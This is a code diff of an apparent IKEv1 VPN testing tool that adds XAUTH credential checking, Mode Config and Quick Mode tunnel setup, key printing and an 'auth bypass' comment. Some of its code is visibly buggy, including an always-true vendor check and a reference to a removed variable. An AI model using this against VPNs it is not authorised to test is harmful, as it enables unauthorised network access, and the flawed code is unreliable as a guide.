= ikeHandling.main(packets[-1],encType,hashType) - time.sleep(2) - exit() - else: - pass - try: if ikeHDR[5] == dicCrypto["msgID"]: if debug > 0: @@ -2353,28 +2983,47 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): time.sleep(2) exit() + if ikeHDR[4] == 5: + print "Informational packet received. Enable full debugging for more info. Exiting..." + try: + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) + except: + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType) + time.sleep(2) + exit() + else: + pass + #Process full packet - respDict = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) #Update state/crypto dictionary dicCrypto.update(respDict) - #Check response and send ACK if successful if dicCrypto["mcfgType"] == "03" or int(dicCrypto["mcfgType"]) == 3 and int(dicCrypto["XAUTH_STATUS"]) == 1: print "[*]XAUTH Authentication Successful! Username: %s Password: %s\nSending ACK packet...\n"%(username,password) #Mode Config payload - ACK - msgID = "0000111a" + ###***EDIT + """ + if vendorType == "watchguard": + msgID = dicCrypto["msgID"] + else: + msgID = "0000111a" + dicCrypto["msgID"] = msgID + """ + msgID = dicCrypto["msgID"] + ###/EDIT + if debug > 0: - print "\n--------------------Sending third packet - Encrypted XAUTH ACK --------------------" - if vendorType == "cisco": + print "\n--------------------Sending fourth packet - Encrypted XAUTH ACK --------------------" + if vendorType == "cisco" or "watchguard": ackXAUTH = ikeneg.ikeXAUTH(0,16527,1,"cisco") else: ackXAUTH = ikeneg.ikeXAUTH(0,16527,1) mcfgAtts = ackXAUTH arrayMCFG = ikeneg.ikeModeCFG("00","04",mcfgAtts) #04 = Mode Config ACK - lenMCFG = len(arrayMCFG) - bytesMCFG = struct.pack(("B"*lenMCFG),*arrayMCFG) + bytesMCFG = ikeneg.packPacket(arrayMCFG) #Hash payload skeyid_a = dicCrypto["skeyid_a"] @@ -2382,8 +3031,7 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): if debug > 0: print "Mode Config Hash = %s"%mcfgHash arrayHash = ikeneg.ikeHash("0e",mcfgHash) #next payload 0e(14) - Mode Config Attributes - lenHash = len(arrayHash) - bytesHash = struct.pack(("B"*lenHash),*arrayHash) + bytesHash = ikeneg.packPacket(arrayHash) #Encrypt everything but the header plainData = (bytesHash+bytesMCFG) @@ -2392,7 +3040,9 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): print "Plain-text Payload: %s"%plainPayload.encode('hex') #Encryption/decryption uses last block from previous encrypted payload (CBC) except when a new message ID is created - curIV = ikeCrypto.calcIV(dicCrypto["p2IV"].decode('hex'), msgID.decode('hex'), IVlen, hashType) + dicCrypto["lastBlock"] = packets[-1][-IVlen:] + curIV = dicCrypto["lastBlock"].decode('hex') + cipher = ikeCrypto.ikeCipher(encKey, curIV, encType) encPayload = cipher.encrypt(plainPayload) @@ -2400,33 +3050,87 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): print "Encrypted Payload: %s"%encPayload.encode('hex') arrayencPayload = array.array('B', encPayload) - lenencPayload = len(arrayencPayload) - bytesencPayload = struct.pack(("B"*lenencPayload),*arrayencPayload) - arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,flags,xType,msgID,lenencPayload)#next payload is always hash (08) - lenHDR = len(arrayHDR) - bytesHDR = struct.pack(("B"*lenHDR),*arrayHDR) - bytesIKE = bytesHDR+bytesencPayload + bytesencPayload = ikeneg.packPacket(arrayencPayload) + arrayIKE = ikeneg.ikeHeader("08",iCookie,rCookie,version,flags,xType,msgID,bytesencPayload.encode('hex'))#next payload is always hash (08) + bytesIKE = ikeneg.packPacket(arrayIKE) #Send ACK packet ikeneg.sendPacket(bytesIKE,targetIP,sport,port) dicCrypto["lastBlock"] = bytesIKE.encode('hex')[-IVlen:] - time.sleep(4) + #time.sleep(1) + + #Request IP address etc + #Mode Config payload - REQ + msgID = "0000111b" + dicCrypto["msgID"] = msgID + if debug > 0: + print "\n--------------------Sending fifth packet - Encrypted Mode CFG REQ --------------------" + """ + if vendorType == "cisco" or "watchguard": + ackXAUTH = ikeneg.ikeXAUTH(0,16527,1,"cisco") + else: + ackXAUTH = ikeneg.ikeXAUTH(0,16527,1) + """ + #static mode cfg value for now, this just requests internal IP address etc. + #mcfgAtts = "00010000000200000003000000040000700200007008000c80010001800200018003000270070000700000007001000070040000700a00046b616c690007000018436973636f2053797374656d732056504e20436c69656e7420302e352e33723531323a4c696e75780000000000000000" + mcfgAtts = "00010000000200000003000000040000700200007008000c80010001800200018003000270070000700000007001000070040000700a00046b616c69" + arrayMCFG = ikeneg.ikeModeCFG("00","01",mcfgAtts) #01 = Mode Config REQUEST + bytesMCFG = ikeneg.packPacket(arrayMCFG) + + #Hash payload + skeyid_a = dicCrypto["skeyid_a"] + mcfgHash = ikeCrypto.calcHASHmcfg(skeyid_a, msgID.decode('hex'), bytesMCFG, hashType) + if debug > 0: + print "Mode Config Hash = %s"%mcfgHash + arrayHash = ikeneg.ikeHash("0e",mcfgHash) #next payload 0e(14) - Mode Config Attributes + bytesHash = ikeneg.packPacket(arrayHash) + + #Encrypt everything but the header + plainData = (bytesHash+bytesMCFG) + plainPayload = ikeCrypto.calcPadding(encType, plainData) + if debug > 0: + print "Plain-text Payload: %s"%plainPayload.encode('hex') + + + #Encryption/decryption uses last block from previous encrypted payload (CBC) except when a new message ID is created + curIV = ikeCrypto.calcIV(dicCrypto["p2IV"].decode('hex'), msgID.decode('hex'), IVlen, hashType) + cipher = ikeCrypto.ikeCipher(encKey, curIV, encType) + encPayload = cipher.encrypt(plainPayload) + + if debug > 0: + print "Encrypted Payload: %s"%encPayload.encode('hex') + + arrayencPayload = array.array('B', encPayload) + bytesencPayload = ikeneg.packPacket(arrayencPayload) + arrayIKE = ikeneg.ikeHeader("08",iCookie,rCookie,version,flags,xType,msgID,bytesencPayload.encode('hex'))#next payload is always hash (08) + bytesIKE = ikeneg.packPacket(arrayIKE) + #Send REQ packet + ikeneg.sendPacket(bytesIKE,targetIP,sport,port) + dicCrypto["lastBlock"] = bytesIKE.encode('hex')[-IVlen:] + while len(packets) < 1: + time.sleep(1) + if countTime > 20: + break + countTime += 1 + time.sleep(5) + continue + + """ #Close the tunnel msgID = "0000111a" + dicCrypto["msgID"] = msgID xType = "05" #Informational #Process Delete payload #Hash payload arrayHash = ikeneg.ikeHash("0c",hash_i) # next payload - 12 (delete) - lenHash = len(arrayHash) - bytesHash = struct.pack(("B"*lenHash),*arrayHash) + bytesHash = ikeneg.packPacket(arrayHash) #Delete payload if debug > 0: print "\n--------------------Sending Delete Packet--------------------" arrayDel = ikeneg.ikeDelete("00",iCookie,rCookie) - lenDel = len(arrayDel) - bytesDel = struct.pack(("B"*lenDel),*arrayDel) + bytesDel = ikeneg.packPacket(arrayDel) #Encrypt everything but the header plainData = (bytesHash+bytesDel) @@ -2437,6 +3141,7 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): #Encryption/decryption uses last block from previous encrypted payload (CBC) except when a new message ID is created #Calc message ID and current IV msgID = "0000111b" + dicCrypto["msgID"] = msgID curIV = ikeCrypto.calcIV(dicCrypto["p2IV"].decode('hex'), msgID.decode('hex'), IVlen, hashType) cipher = ikeCrypto.ikeCipher(encKey, curIV, encType) encPayload = cipher.encrypt(plainPayload) @@ -2445,33 +3150,29 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): print "Encrypted Payload: %s"%encPayload.encode('hex') arrayencPayload = array.array('B', encPayload) - lenencPayload = len(arrayencPayload) - bytesencPayload = struct.pack(("B"*lenencPayload),*arrayencPayload) - - arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,flags,xType,msgID,lenencPayload)#next payload is always hash (08) - lenHDR = len(arrayHDR) - bytesHDR = struct.pack(("B"*lenHDR),*arrayHDR) + bytesencPayload = ikeneg.packPacket(arrayencPayload) + arrayIKE = ikeneg.ikeHeader("08",iCookie,rCookie,version,flags,xType,msgID,bytesencPayload.encode('hex'))#next payload is always hash (08) + bytesIKE = ikeneg.packPacket(arrayIKE) #Send Delete payload - bytesIKE = bytesHDR+bytesencPayload ikeneg.sendPacket(bytesIKE,targetIP,sport,port) + """ + if dicCrypto["mcfgType"] == "03" or int(dicCrypto["mcfgType"]) == 3 and int(dicCrypto["XAUTH_STATUS"]) == 0: print "Mode Config STATUS message received - Authentication Unsuccessful" #Process response packet if debug > 0: - print "\n--------------------Sending third packet - Encrypted XAUTH ACK (username: %s password: %s)--------------------"%(username,password) + print "\n--------------------Sending fourth packet - Encrypted XAUTH ACK (username: %s password: %s)--------------------"%(username,password) xType = "06" #Mode Config transation - #Hash Payload skeyid_a = dicCrypto["skeyid_a"] mcfgHash = ikeCrypto.calcHASHmcfg(skeyid_a, msgID.decode('hex'), bytesMCFG, hashType) if debug > 0: print "Mode Config Hash = %s"%mcfgHash arrayHash = ikeneg.ikeHash("0e",mcfgHash) #next payload 0e(14) - Mode Config Attributes - lenHash = len(arrayHash) - bytesHash = struct.pack(("B"*lenHash),*arrayHash) + bytesHash = ikeneg.packPacket(arrayHash) #Encrypt everything but the header plainData = (bytesHash+bytesMCFG) @@ -2487,29 +3188,26 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): print "Encrypted Payload: %s"%encPayload.encode('hex') arrayencPayload = array.array('B', encPayload) - lenencPayload = len(arrayencPayload) - bytesencPayload = struct.pack(("B"*lenencPayload),*arrayencPayload) - arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,flags,xType,msgID,lenencPayload)#next payload is always hash (08) - lenHDR = len(arrayHDR) - bytesHDR = struct.pack(("B"*lenHDR),*arrayHDR) - bytesIKE = bytesHDR+bytesencPayload + bytesencPayload = ikeneg.packPacket(arrayencPayload) + arrayIKE = ikeneg.ikeHeader("08",iCookie,rCookie,version,flags,xType,msgID,bytesencPayload.encode('hex'))#next payload is always hash (08) + bytesIKE = ikeneg.packPacket(arrayIKE) #Send ACK packet ikeneg.sendPacket(bytesIKE,targetIP,sport,port) - dicCrypto["lastBlock"] = bytesIKE.encode('hex')[-IVlen:] + dicCrypto["lastBlock"] = bytesIKE.encode('hex')[-IVlen:] + + xType = "05" #Informational #Process Delete payload #Hash payload if debug > 0: print "Sending Delete payload to reset connection" arrayHash = ikeneg.ikeHash("0c",hash_i) # next payload - 12 (delete) - lenHash = len(arrayHash) - bytesHash = struct.pack(("B"*lenHash),*arrayHash) + bytesHash = ikeneg.packPacket(arrayHash) #Delete payload arrayDel = ikeneg.ikeDelete("00",iCookie,rCookie) - lenDel = len(arrayDel) - bytesDel = struct.pack(("B"*lenDel),*arrayDel) + bytesDel = ikeneg.packPacket(arrayDel) #Encrypt everything but the header plainData = (bytesHash+bytesDel) @@ -2520,62 +3218,387 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): #Encryption/decryption uses last block from previous encrypted payload (CBC) except when a new message ID is created #Calc message ID and current IV msgID = "0000111b" - curIV = ikeCrypto.calcIV(dicCrypto["p2IV"].decode('hex'), msgID.decode('hex'), IVlen, hashType) + dicCrypto["msgID"] = msgID + curIV = ikeCrypto.calcIV(dicCrypto["p2IV"].decode('hex'), msgID.decode('hex'), IVlen, hashType) cipher = ikeCrypto.ikeCipher(encKey, curIV, encType) encPayload = cipher.encrypt(plainPayload) if debug > 0: print "Encrypted Payload: %s"%encPayload.encode('hex') arrayencPayload = array.array('B', encPayload) - lenencPayload = len(arrayencPayload) - bytesencPayload = struct.pack(("B"*lenencPayload),*arrayencPayload) - - arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,flags,xType,msgID,lenencPayload)#next payload is always hash (08) - lenHDR = len(arrayHDR) - bytesHDR = struct.pack(("B"*lenHDR),*arrayHDR) + bytesencPayload = ikeneg.packPacket(arrayencPayload) + arrayIKE = ikeneg.ikeHeader("08",iCookie,rCookie,version,flags,xType,msgID,bytesencPayload.encode('hex'))#next payload is always hash (08) + bytesIKE = ikeneg.packPacket(arrayIKE) #Send Delete payload bytesIKE = bytesHDR+bytesencPayload ikeneg.sendPacket(bytesIKE,targetIP,sport,port) #del packets[-2] - time.sleep(5) + time.sleep(10) continue - else: - if debug > 0: - print "Still receiving packets, but exiting..." - dicCrypto["lastBlock"] = packets[-1][-IVlen:] - curIV = bytesIKE.encode('hex')[-IVlen:] - del packets[-2] - time.sleep(5) + if dicCrypto["mcfgType"] == "01" or dicCrypto["mcfgType"] == 1: + print "XAUTH Authentication Failed. Exiting..." + exit() + + + else: + if debug > 0: + print "Still receiving packets, but exiting..." + dicCrypto["lastBlock"] = packets[-1][-IVlen:] + curIV = bytesIKE.encode('hex')[-IVlen:] + #del packets[-2] + time.sleep(5) + exit() + + + + + if len(packets) == 4: + #Process Header first + ikeHandling = ikehandler.IKEv1Handler(debug) + ikeHDR = ikeHandling.parseHeader(packets[-1]) + #Check the packet is for this session + if ikeHDR[1] == dicCrypto["iCookie"]: + pass + else: + print "Packet received does not match this session, this is probably from a previous incarnation.6" + del packets[-1] + print "Removing packet" + continue + + if dicCrypto["mcfgType"] == "01": + print "XAUTH Authentication Failed. Exiting..." exit() - else: - print "Unexpected packet received!!" - #Parse the header first + try: + if ikeHDR[5] == dicCrypto["msgID"]: + if debug > 0: + print "Message ID has not changed" + + curIV = dicCrypto["lastBlock"].decode('hex') + pass + else: + if debug > 0: + print "Message ID has changed, recalculating IV" + msgID = ikeHDR[5] + curIV = ikeCrypto.calcIV(dicCrypto["p2IV"].decode('hex'), msgID.decode('hex'), IVlen, hashType) + pass + except: + print "Invalid Message ID, too many concurrent sessions running. Wait 30 second and try again.\nExiting" + time.sleep(2) + exit() + + if ikeHDR[4] == 5: + print "Informational packet received. Enable full debugging for more info. Exiting..." + try: + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) + except: + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType) + time.sleep(2) + exit() + + else: + pass + + #Process full packet + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) + #Update state/crypto dictionary + dicCrypto.update(respDict) + #exit() + + #Need to move into phase 2 with quick mode handshake here + if debug > 0: + print "\n--------------------Sending Quick Mode Packet 1------------------" + msgID = "0000111c" + dicCrypto["msgID"] = msgID + p2IV = dicCrypto["p2IV"] + + #Process response packet + #Transform set + if debug > 0: + print "\n--------------------Sending sixth packet - Quick Mode 1--------------------" + xType = "20" #Quick Mode + phase = 2 + + transID = "0c" #3 - ENCR_3DES, 12 (0c) - aes-cbc + + #Transform payload + arrayTrans = ikeneg.ikeTransform(encType,"01",authType,DHGroup,"01","00007080",transID,phase,"00") + bytesTrans = ikeneg.packPacket(arrayTrans) + #Proposal Payload + arrayProposal = ikeneg.ikeProposal(bytesTrans.encode('hex'), "02", phase) + bytesProposal = ikeneg.packPacket(arrayProposal) + #SA Payload + arraySA = ikeneg.ikeSA(bytesProposal.encode('hex')) + bytesSA = ikeneg.packPacket(arraySA) + + #arraySA_i = arraySA[4:] + #SA_i = self.packPacket(arraySA_i).encode('hex') + + #SA_i = arraySA[2:] + SA_i = bytesSA.encode('hex')[8:] + bytesSA_i = SA_i.decode('hex') + + arrayNonce,nonce = ikeneg.ikeNonce("0d") + bytesNonce = ikeneg.packPacket(arrayNonce) + + #Pull IP from previous Mode CFG transaction + mcfgIP = dicCrypto["MCFG_IPi"].decode('hex') + #mcfgIP = "c0a801eb".decode('hex') + + ###***TRY ADDING XAUTH PAYLAOD HERE FOR AUTH BYPASS FAILURE FIX + #ID payload + arrayID,ID_i = ikeneg.ikeID(mcfgIP.encode('hex'),"01","0000","00","05")#next payload = ID (5), 0000 = port + bytesID = ikeneg.packPacket(arrayID) + + #***NOTE - LOOK AT PADDING PRIOR TO ADDING HASH PAYLOAD AND AFTER + #ID payload + arrayID1,ID_i1 = ikeneg.ikeID("0000000000000000","04","0000","00","00")#next payload = none (0), 04 = idtype, 0000 = port # next payload = 0d - vid + bytesID1 = ikeneg.packPacket(arrayID1) + + #VID payload + arrayVID = ikeneg.ikeVID("05","09002689dfd6b712") + bytesVID = ikeneg.packPacket(arrayVID) + + qmData = bytesSA_i+bytesNonce+bytesVID+bytesID+bytesID1 + + qmData = "0a00020400000001000000010200002c000304010b36f8fb00000020000c000080060100800400018005000280010001000200040020c49b0200002c010304010b36f8fb00000020000c000080060100800400018005000180010001000200040020c49b0200002c020304010b36f8fb00000020000c0000800600c0800400018005000280010001000200040020c49b0200002c030304010b36f8fb00000020000c0000800600c0800400018005000180010001000200040020c49b0200002c040304010b36f8fb00000020000c000080060080800400018005000280010001000200040020c49b0200002c050304010b36f8fb00000020000c000080060080800400018005000180010001000200040020c49b02000028060304010b36f8fb0000001c00030000800400018005000280010001000200040020c49b02000028070304010b36f8fb0000001c00030000800400018005000180010001000200040020c49b02000028080304010b36f8fb0000001c00020000800400018005000280010001000200040020c49b02000028090304010b36f8fb0000001c00020000800400018005000180010001000200040020c49b020000280a0304010b36f8fb0000001c000b0000800400018005000280010001000200040020c49b000000280b0304010b36f8fb0000001c000b0000800400018005000180010001000200040020c49b050000185b3693728fb19dab4d3cb0fa90e64f9e1f57753e0500000c01000000c0a801fb00000010040000000000000000000000".decode('hex')# 00000000" + nonce = "5b3693728fb19dab4d3cb0fa90e64f9e1f57753e" + arrayqmData = array.array('B', qmData) + bytesqmData = ikeneg.packPacket(arrayqmData) + #plainPayload = ikeCrypto.calcPadding(encType, qmData) + + hash_1 = ikeCrypto.calcHASHQM(skeyid_a, msgID.decode('hex'), qmData, hashType, 1) + arrayHash = ikeneg.ikeHash("01",hash_1)#next payload 01 + bytesHash = ikeneg.packPacket(arrayHash) + + #Encrypt everything but the header + curIV = ikeCrypto.calcIV(p2IV.decode('hex'), msgID.decode('hex'), IVlen, hashType) + plainPayload = ikeCrypto.calcPadding(encType,bytesHash+bytesqmData) + if debug > 0: + print "Plain-text Payload: %s"%plainPayload.encode('hex') + #Encryption/decryption uses last block from previous encrypted payload (CBC) except when a new message ID is created + cipher = ikeCrypto.ikeCipher(encKey, curIV, encType) + encPayload = cipher.encrypt(plainPayload) + + if debug > 0: + print "Encrypted Payload: %s"%encPayload.encode('hex') + + payloads = arrayencPayload = array.array('B', encPayload) + payloads = ikeneg.packPacket(arrayencPayload) + arrayIKE = ikeneg.ikeHeader("08",iCookie,rCookie,version,flags,xType,msgID,payloads.encode('hex')) + bytesIKE = ikeneg.packPacket(arrayIKE) + + #Send QM packet 1 + ikeneg.sendPacket(bytesIKE,targetIP,sport,port) + dicCrypto["lastBlock"] = bytesIKE.encode('hex')[-IVlen:] + count = 0 + status = "p2_qm1" + while len(packets) < 5: + time.sleep(0.01) + count += 1 + if count > 500: + print "No further responses received.\nExiting...\n" + exit() + + + if len(packets) == 5: + #Process Header first ikeHandling = ikehandler.IKEv1Handler(debug) ikeHDR = ikeHandling.parseHeader(packets[-1]) + #dicCrypto["lastBlock"] = packets[-1][-IVlen:] #Check the packet is for this session if ikeHDR[1] == dicCrypto["iCookie"]: pass else: - print "Packet received does not match this session, this is probably from a previous incarnation." + print "Packet received does not match this session, this is probably from a previous incarnation.7" del packets[-1] - print len(packets) - print packets[-1] print "Removing packet" continue - #Check for informational packet + try: + if ikeHDR[5] == dicCrypto["msgID"]: + if debug > 0: + print "Message ID has not changed" + curIV = dicCrypto["lastBlock"].decode('hex') + pass + else: + if debug > 0: + print "Message ID has changed, recalculating IV" + msgID = ikeHDR[5] + curIV = ikeCrypto.calcIV(dicCrypto["p2IV"].decode('hex'), msgID.decode('hex'), IVlen, hashType) + pass + except: + print "Invalid Message ID, too many concurrent sessions running. Wait 30 second and try again.\nExiting" + time.sleep(2) + exit() + + if ikeHDR[4] == 5: print "Informational packet received. Enable full debugging for more info. Exiting..." - respDict = ikeHandling.main(packets[-1],encType,hashType) - time.sleep(2) + try: + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) + except: + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType) + #time.sleep(2) + #exit() + if ikeHDR[4] == 6: + print "QUICK MODE FAILED! PACKET MALFORMED?" exit() else: - pass + pass + + #Process full packet + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) + #Update state/crypto dictionary + dicCrypto.update(respDict) + dicCrypto["lastBlock"] = packets[-1][-IVlen:] + + if debug > 0: + print "\n--------------------Sending Quick Mode Packet 3------------------" + #Send QM 3 packet + #For QM hash 3 data = Nonce_i | Nonce_r (from phase 2 negotiations - not phase 1 nonces) + nonce_r = dicCrypto["nonce_r"] + nonces = nonce+nonce_r + hash_3 = ikeCrypto.calcHASHQM(skeyid_a, msgID.decode('hex'), nonces.decode('hex'), hashType, 3) + arrayHash = ikeneg.ikeHash("00",hash_3)#next payload 00 + bytesHash = ikeneg.packPacket(arrayHash) + + #Encrypt everything but the header + curIV = dicCrypto["lastBlock"].decode('hex') + plainPayload = ikeCrypto.calcPadding(encType,bytesHash) + if debug > 0: + print "Plain-text Payload: %s"%plainPayload.encode('hex') + #Encryption/decryption uses last block from previous encrypted payload (CBC) except whne msgID has changed + cipher = ikeCrypto.ikeCipher(encKey, curIV, encType) + encPayload = cipher.encrypt(plainPayload) + + if debug > 0: + print "Encrypted Payload: %s"%encPayload.encode('hex') + + arrayencPayload = array.array('B', encPayload) + bytesencPayload = ikeneg.packPacket(arrayencPayload) + + arrayIKE = ikeneg.ikeHeader("08",iCookie,rCookie,version,flags,xType,msgID,bytesencPayload.encode('hex'))#next payload 0 = none + bytesIKE = ikeneg.packPacket(arrayIKE) + + #Send QM packet 3 + ikeneg.sendPacket(bytesIKE,targetIP,sport,port) + dicCrypto["lastBlock"] = bytesIKE.encode('hex')[-IVlen:] + prot = "03" + print "Phase 2 Complete!" + p2spi = dicCrypto["p2spi"] + print "============================SA====================================" + print "|SPI (Outbound): 0b36f8fb |"#static currently + print "|SPI (Inbound): %s |"%p2spi + print "|Encryption Type: %s |"%dicCrypto["Encryption Type"] + print "|Authentication Algorithm: %s |"%dicCrypto["Authentication Algorithm"] + print "|SA Life Duration: %s |"%dicCrypto["SA Life Duration"] + print "|SA Life Type: %s |"%dicCrypto["SA Life Type"] + + p2key = ikeCrypto.calcKEYMAT(hashType, keyLen, skeyid_d, prot.decode('hex'), p2spi.decode('hex'), nonce.decode('hex'), nonce_r.decode('hex')) + + print "|Encryption Key: %s|"%p2key.encode('hex') + print "|Initial IV: %s |\n=================================================================="%dicCrypto["p2IV"] + + + while len(packets) < 6: + time.sleep(0.01) + count += 1 + if count > 500000: + print "No further responses received.\nExiting...\n" + exit() + + + elif len(packets) > 5: + #keepalive (DPD) responses to keep tunnel up + #Process Header first + ikeHandling = ikehandler.IKEv1Handler(debug) + ikeHDR = ikeHandling.parseHeader(packets[-1]) + #Check the packet is for this session + if ikeHDR[1] == dicCrypto["iCookie"]: + pass + else: + print "Packet received does not match this session, this is probably from a previous incarnation.7" + del packets[-1] + print "Removing packet" + continue + + try: + if ikeHDR[5] == dicCrypto["msgID"]: + if debug > 0: + print "Message ID has not changed" + curIV = dicCrypto["lastBlock"].decode('hex') + pass + else: + if debug > 0: + print "Message ID has changed, recalculating IV" + msgID = ikeHDR[5] + curIV = ikeCrypto.calcIV(dicCrypto["p2IV"].decode('hex'), msgID.decode('hex'), IVlen, hashType) + pass + except: + print "Invalid Message ID, too many concurrent sessions running. Wait 30 second and try again.\nExiting" + time.sleep(2) + exit() + + + if ikeHDR[4] == 5: + + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) + if int(dicCrypto["notmsgType"]) == 36136 or int(dicCrypto["notmsgType"]) == 24576: + if debug > 0: + print "DPD payload received, sending heartbeat response" + + print msgID + ikeneg = ikeclient.IKEv1Client(debug) + ikeCrypto = crypto.ikeCrypto() + xType = "05" + spi = dicCrypto["iCookie"]+dicCrypto["rCookie"] + notData = dicCrypto["notData"] + msgType = hex(36137)[2:]#R-U-THERE-ACK + arrayDPD = ikeneg.ikeNot("08",msgType,spi,notData) + bytesDPD = ikeneg.packPacket(arrayDPD) + + hash = ikeCrypto.calcHASHgen(skeyid, bytesDPD, hashType) + arrayHash = ikeneg.ikeHash("0b", hash) + bytesHash = ikeneg.packPacket(arrayHash) + + #Encrypt everything but the header + curIV = dicCrypto["lastBlock"].decode('hex') + plainPayload = ikeCrypto.calcPadding(encType,bytesHash+bytesDPD) + if debug > 0: + print "Plain-text Payload: %s"%plainPayload.encode('hex') + #Encryption/decryption uses last block from previous encrypted payloa$ + cipher = ikeCrypto.ikeCipher(encKey, curIV, encType) + encPayload = cipher.encrypt(plainPayload) + + if debug > 0: + print "Encrypted Payload: %s"%encPayload.encode('hex') + + arrayencPayload = array.array('B', encPayload) + bytesencPayload = ikeneg.packPacket(arrayencPayload) + + arrayIKE = ikeneg.ikeHeader("0b",iCookie,rCookie,version,flags,xType,msgID,bytesencPayload.encode('hex')) + bytesIKE = ikeneg.packPacket(arrayIKE) + + #Send DPD packet + ikeneg.sendPacket(bytesIKE,targetIP,sport,port) + time.sleep(1) + + else: + print "Informational packet received. Enable full debugging for more info. Exiting..." + respDict,vidHolder = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV) + exit() + + if ikeHDR[4] == 6: + print "QUICK MODE FAILED! PACKET MALFORMED?" + exit() + else: + pass + + - exit() else: print "Received unexpected packet.\nExiting" @@ -2589,4 +3612,5 @@ class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer): except: pass print "Shutting down server\n\n" - t.join(2) + t.join(6) + diff --git a/ikehandler.py b/ikehandler.py index 77d9db5..be096ca 100644 --- a/ikehandler.py +++ b/ikehandler.py @@ -10,7 +10,7 @@ import crypto #IKE/ISAKMP packet handler classes - +#Declare global dictionary and list for VIDs and crypto operations dicCrypto = {} listVIDs = [] @@ -26,31 +26,37 @@ class IKEv1Handler(object): dicDHGroup = {'0':'Reserved','1':'default 768-bit MODP group','2':'alternate 1024-bit MODP group','3':'EC2N group on GP[2^155]','4':'EC2N group on GP[2^185]','5':'1536-bit MODP group','6':'EC2N group over GF[2^163](see Note)','7':'EC2N group over GF[2^163](see Note)','8':'EC2N group over GF[2^283](see Note)','9':'EC2N group over GF[2^283](see Note)','10':'EC2N group over GF[2^409](see Note)','11':'EC2N group over GF[2^409](see Note)','12':'EC2N group over GF[2^571](see Note)','13':'EC2N group over GF[2^571](see Note)','14':'2048-bit MODP group','15':'3072-bit MODP group','16':'4096-bit MODP group','17':'6144-bit MODP group','18':'8192-bit MODP group','19':'256-bit random ECP group','20':'384-bit random ECP group','21':'521-bit random ECP group','22':'1024-bit MODP Group with 160-bit Prime Order Subgroup','23':'2048-bit MODP Group with 224-bit Prime Order Subgroup','24':'2048-bit MODP Group with 256-bit Prime Order Subgroup','25':'192-bit Random ECP Group','26':'224-bit Random ECP Group','27':'224-bit Brainpool ECP group','28':'256-bit Brainpool ECP group','29':'384-bit Brainpool ECP group','30':'512-bit Brainpool ECP group'} dicLType = {'1':'seconds','2':'kilobytes'} dicIDType = {'0':'ID_IPV4_ADDR','1': 'ID_IPV4_ADDR_SUBNET','2':'ID_IPV6_ADDR','3':'ID_IPV6_ADDR_SUBNET','36136':'R-U-THERE','36137':'R-U-THERE-ACK'} - dicNotType = {'1':'INVALID-PAYLOAD-TYPE','2':'DOI-NOT-SUPPORTED','3':'SITUATION-NOT-SUPPORTED','4':'INVALID-COOKIE','5':'INVALID-MAJOR-VERSION','6':'INVALID-MINOR-VERSION','7':'INVALID-EXCHANGE-TYPE','8':'INVALID-FLAGS','9':'INVALID-MESSAGE-ID','10':'INVALID-PROTOCOL-ID','11':'INVALID-SPI','12':'INVALID-TRANSFORM-ID','13':'ATTRIBUTES-NOT-SUPPORTED','14':'NO-PROPOSAL-CHOSEN','15':'BAD-PROPOSAL-SYNTAX','16':'PAYLOAD-MALFORMED','17':'INVALID-KEY-INFORMATION','18':'INVALID-ID-INFORMATION','19':'INVALID-CERT-ENCODING','20':'INVALID-CERTIFICATE','21':'CERT-TYPE-UNSUPPORTED','22':'INVALID-CERT-AUTHORITY','23':'INVALID-HASH-INFORMATION','24':'AUTHENTICATION-FAILED','25':'INVALID-SIGNATURE','26':'ADDRESS-NOTIFICATION','27':'NOTIFY-SA-LIFETIME','28':'CERTIFICATE-UNAVAILABLE','29':'UNSUPPORTED-EXCHANGE-TYPE','30':'UNEQUAL-PAYLOAD-LENGTHS'} + dicNotType = 